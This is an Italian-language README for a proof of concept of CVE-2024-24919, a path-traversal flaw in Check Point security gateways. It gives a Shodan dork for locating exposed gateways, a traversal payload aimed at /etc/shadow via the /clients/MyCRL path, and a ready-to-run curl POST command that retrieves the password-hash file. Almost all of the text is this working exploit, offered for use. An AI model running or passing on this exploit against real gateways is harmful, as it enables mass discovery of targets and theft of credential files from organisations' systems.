CVE-2024-24919_POC

È una prova di concetto su CVE-2024-24919-POC, l'ho realizzata dopo la sua scoperta.

CVE-2024-24919 è una vulnerabilità di divulgazione di informazioni del gateway di sicurezza Checkpoint. Puoi vederla in Notion-CVE-2024-24919_POC

Shodan dork:

title:"Check Point" "Server: Check Point SVN" "X-UA-Compatible: IE=EmulateIE7"

Payload

aCSHELL/../../../../../../../etc/shadow

• nel percorso 💡 https://Host/clients/MyCRL > Sostituisci Host con l'IP originale

Comando nel terminale

con curl per prendere un file shadow per le password

curl --path-as-is -i -s -k -X $'POST' -H $'Host: 127.0.0.1' -H $'Content-Length: 39' -H $'Connection: keep-alive' --data-binary $'aCSHELL/../../../../../../../etc/shadow' $ 'https://127.0.0.1/clients/MyCRL'

se hai bisogno di più informazioni, vai prima su Notion.

vedi altri write-up Notion-Link-Write-ups

contattami clicca qui